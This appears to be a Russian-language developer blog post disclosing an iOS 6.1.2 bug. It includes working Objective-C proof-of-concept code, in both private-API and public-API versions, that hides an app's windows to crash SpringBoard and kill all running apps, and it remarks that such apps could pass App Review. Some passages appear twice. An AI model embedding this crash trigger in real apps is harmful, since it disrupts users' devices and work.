Вот вчера случайно наткнулся на такую уязвимость iOS. Проверено на iPhone 4, 4S и 5 с iOS 6.1.2.
Чтобы воспроизвести баг, который приводит к перезапуску SpringBoard'a (что в свою очередь приводит к прекращению работы всех запущенных пользователем приложений), нужно сделать всего две вещи:
Вот пример простейшей программы, вызывающей перезапуск SpringBoard. Пункты 1 и 2 реализуются через недокументированные вызовы.
Более того, мне удалось воспроизвести этот баг и без использования недокументированных вызовов.
Обратите внмание на особенности:
Это означает что высока вероятность, что приложения, вызывающие перезагрузку SpringBoard (в том числе и аварийное завершение всех других приложений) могут без особых проблем пройти App Review и попасть в AppStore.
UPD То же самое без приватных API:
1. Тапаем по статус бару
2. Тапаем по основному окну
3. Жмем home
UPD2 Исправил заголовок статьи, так как, строго говоря, падает только Springboard, a не вся iOS.
Чтобы воспроизвести баг, который приводит к перезапуску SpringBoard'a (что в свою очередь приводит к прекращению работы всех запущенных пользователем приложений), нужно сделать всего две вещи:
- Скрыть все окна (т.е. объекты
UIWindow) в приложении. - Выйти из приложения
Вот пример простейшей программы, вызывающей перезапуск SpringBoard. Пункты 1 и 2 реализуются через недокументированные вызовы.
// Декларирую два недокументированных вызова в виде категорий, чтобы избавится от warning'ов // Можно и без них, но Xcode будет ругаться @interface UIWindow (Undocumented) + (NSArray*) allWindowsIncludingInternalWindows: (BOOL)internalWindows onlyVisibleWindows:(BOOL)visibleWindows; @end @interface UIApplication (Undocumented) - (void) suspend; @end // Вот собственно суть уязвимости void RESPRING() { NSArray *allWindows = [UIWindow allWindowsIncludingInternalWindows:YES onlyVisibleWindows:NO]; for (UIWindow *window in allWindows) { window.hidden = YES; } [[UIApplication sharedApplication] performSelector:@selector(suspend) withObject:nil afterDelay:0]; }
Более того, мне удалось воспроизвести этот баг и без использования недокументированных вызовов.
Обратите внмание на особенности:
- Не требует Jailbreak'а
- Для воспроизведения не требует нестандартных библиотек, фреймворков
- Можно вызвать, не пользуясь недокументированными вызовами
Это означает что высока вероятность, что приложения, вызывающие перезагрузку SpringBoard (в том числе и аварийное завершение всех других приложений) могут без особых проблем пройти App Review и попасть в AppStore.
UPD То же самое без приватных API:
@interface UIView (Extension) - (void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event; @end @implementation UIView (Extension) - (void) touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { self.window.hidden = YES; } @end
1. Тапаем по статус бару
2. Тапаем по основному окну
3. Жмем home
UPD2 Исправил заголовок статьи, так как, строго говоря, падает только Springboard, a не вся iOS.
